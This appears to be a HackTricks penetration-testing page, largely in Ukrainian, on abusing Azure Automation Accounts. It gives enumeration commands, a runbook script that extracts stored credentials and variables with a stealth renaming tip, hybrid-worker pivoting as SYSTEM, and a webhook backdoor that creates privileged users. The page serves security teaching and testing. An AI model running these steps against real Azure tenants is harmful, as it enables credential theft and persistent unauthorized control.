Az - Automation Account

Support HackTricks

Basic Information

З документації: Azure Automation надає хмарну автоматизацію, оновлення операційної системи та службу конфігурації, яка підтримує послідовне управління у ваших Azure та не-Azure середовищах. Вона включає автоматизацію процесів, управління конфігурацією, управління оновленнями, спільні можливості та гетерогенні функції.

Це схоже на "планові завдання" в Azure, які дозволяють вам виконувати дії (дії або навіть скрипти) для управління, перевірки та налаштування середовища Azure.

Run As Account

Коли використовується Run as Account, він створює Azure AD додаток з самопідписаним сертифікатом, створює сервісний принципал і призначає роль Contributor для облікового запису в поточній підписці (багато привілеїв). Microsoft рекомендує використовувати Managed Identity для Automation Account.

Це буде видалено 30 вересня 2023 року і змінено на Managed Identities.

Runbooks & Jobs

Runbooks дозволяють вам виконувати довільний код PowerShell. Це може бути зловжито зловмисником для викрадення дозволів прикріпленого принципала (якщо такий є). У коді Runbooks ви також можете знайти чутливу інформацію (таку як облікові дані).

Якщо ви можете читати завдання, зробіть це, оскільки вони містять вихідні дані виконання (потенційно чутливу інформацію).

Перейдіть до Automation Accounts --> <Select Automation Account> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Hybrid Worker

Runbook може бути виконаний у контейнері всередині Azure або в Hybrid Worker (не-Azure машина). Log Analytics Agent розгортається на віртуальній машині, щоб зареєструвати її як гібридного працівника. Завдання гібридного працівника виконуються як SYSTEM на Windows і nxautomation обліковий запис на Linux. Кожен Hybrid Worker зареєстрований у Hybrid Worker Group.

Отже, якщо ви можете вибрати виконання Runbook у Windows Hybrid Worker, ви будете виконувати довільні команди всередині зовнішньої машини як System (гарна техніка повороту).

Compromise State Configuration (SC)

З документації: Azure Automation State Configuration є службою управління конфігурацією Azure, яка дозволяє вам писати, управляти та компілювати PowerShell Desired State Configuration (DSC) конфігурації для вузлів у будь-якому хмарному або локальному дата-центрі. Служба також імпортує DSC Resources і призначає конфігурації цільовим вузлам, все в хмарі. Ви можете отримати доступ до Azure Automation State Configuration в порталі Azure, вибравши State configuration (DSC) під Configuration Management.

Чутлива інформація може бути знайдена в цих конфігураціях.

RCE

Можливо зловживати SC для виконання довільних скриптів на керованих машинах.

Enumeration

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Створити Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Екстракція облікових даних та змінних, визначених у обліковому записі автоматизації, за допомогою Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Ви можете зробити те ж саме, модифікувавши існуючий Run Book, і з веб-консолі.

Кроки для налаштування автоматизованого створення користувача з високими привілеями

1. Ініціалізація облікового запису автоматизації

  • Дія, що вимагається: Створіть новий обліковий запис автоматизації.

  • Специфічне налаштування: Переконайтеся, що "Створити обліковий запис Azure Run As" увімкнено.

2. Імпорт і налаштування Runbook

  • Джерело: Завантажте зразок runbook з MicroBurst GitHub Repository.

  • Дії, що вимагаються:

  • Імпортуйте runbook в обліковий запис автоматизації.

  • Опублікуйте runbook, щоб зробити його виконуваним.

  • Прикріпіть вебхук до runbook, щоб увімкнути зовнішні тригери.

3. Налаштування модуля AzureAD

  • Дія, що вимагається: Додайте модуль AzureAD до облікового запису автоматизації.

  • Додатковий крок: Переконайтеся, що всі модулі автоматизації Azure оновлені до останніх версій.

4. Призначення дозволів

  • Ролі для призначення:

  • Адміністратор користувачів

  • Власник підписки

  • Ціль: Призначте ці ролі обліковому запису автоматизації для необхідних привілеїв.

5. Увага до потенційної втрати доступу

  • Примітка: Будьте обережні, що налаштування такої автоматизації може призвести до втрати контролю над підпискою.

6. Запуск створення користувача

  • Запустіть вебхук для створення нового користувача, надіславши POST-запит.

  • Використовуйте наданий скрипт PowerShell, переконавшись, що ви замінили $uri на вашу фактичну URL-адресу вебхука та оновили $AccountInfo з бажаним ім'ям користувача та паролем.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

References

Підтримайте HackTricks

Last updated